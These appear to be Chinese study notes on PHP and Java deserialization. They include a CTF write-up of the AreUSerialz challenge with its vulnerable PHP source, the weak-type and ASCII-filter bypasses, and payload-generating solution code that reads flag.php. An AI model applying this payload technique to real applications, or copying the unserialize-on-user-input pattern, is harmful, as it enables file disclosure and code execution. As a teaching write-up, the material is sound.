php反序列化
序列化
为了方便存储将对象变成字符串
反序列化
将字符串还原成对象
php反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候有可能触发对象中的一些魔术方法。
serialize() //将一个对象转换为一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
_construct() //创建对象时触发
_destruct() //对象被销毁时触发
_call() //在对象上下文中调用不可访问的方法时触发
_callStatic() //在静态上下文中调用不可访问的方法时触发
_get() //用于从不可访问的属性读取数据
_set() //用于将数据写入不可访问的属性
_isset() //在不可访问的属性上调用isset()或empty()触发
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
2020-网鼎杯-青龙组-Web-AreUSerialz
```css
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") { //弱类型判断,仅判断数值,op 赋值数字2或字符串' 2'也成立
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() { //析构函数,销毁类时执行,也就是在最后执行
if($this->op === "2") //强类型比较,判断数值+类型,可以使用数字2或字符串' 2'绕过判断
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); //反序列化,所以要先序列化。
}
}
首先由ctf命名及代码函数unserialize判断本题考察反序列化知识点
第一:获取flag存储flag.php
第二:两个魔术方法__destruct __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出
涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过
弱类型绕过
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
__destruct函数中if(this−>op===“2”)代码,对op进行了=判断(强类型)并且op值为字符串2时会赋值为1,process函数中if(this->op == “2”)代码,使用判断(弱类型)(op值为2的情况下才能读取内容),
因此这里存在弱类型比较,可以使用数字2或字符串’ 2’绕过判断。
ascii绕过
is_valid函数还对序列化字符串进行了校验。
因为PHP序列化的时候,若成员被private和protected修饰,会引入不可见字符\x00,这些字符对应的ascii码为0,这是个ASCII不在32到125之间的字符,经过is_valid函数以后会返回false,导致无法执行到反序列函数。
经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。因此可以改成public来绕过is_valid函数校验。
解题代码:
<?php
class FileHandler{
public $op=' 2';
public $filename="flag.php";
public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
java反序列化
Java中的API实现:
位置: Java.io.ObjectOutputStream java.io.ObjectInputStream
序列化: ObjectOutputStream类 --> writeObject()
注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
按Java的标准约定是给文件一个.ser扩展名
反序列化: ObjectInputStream类 --> readObject()
注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
序列化和反序列化
序列化(Serialization):将对象的状态信息转换为字节序列(即可以存储或传输的形式)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程。
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
Java反序列化验证工具:https://github.com/frohoff/ysoserial/releases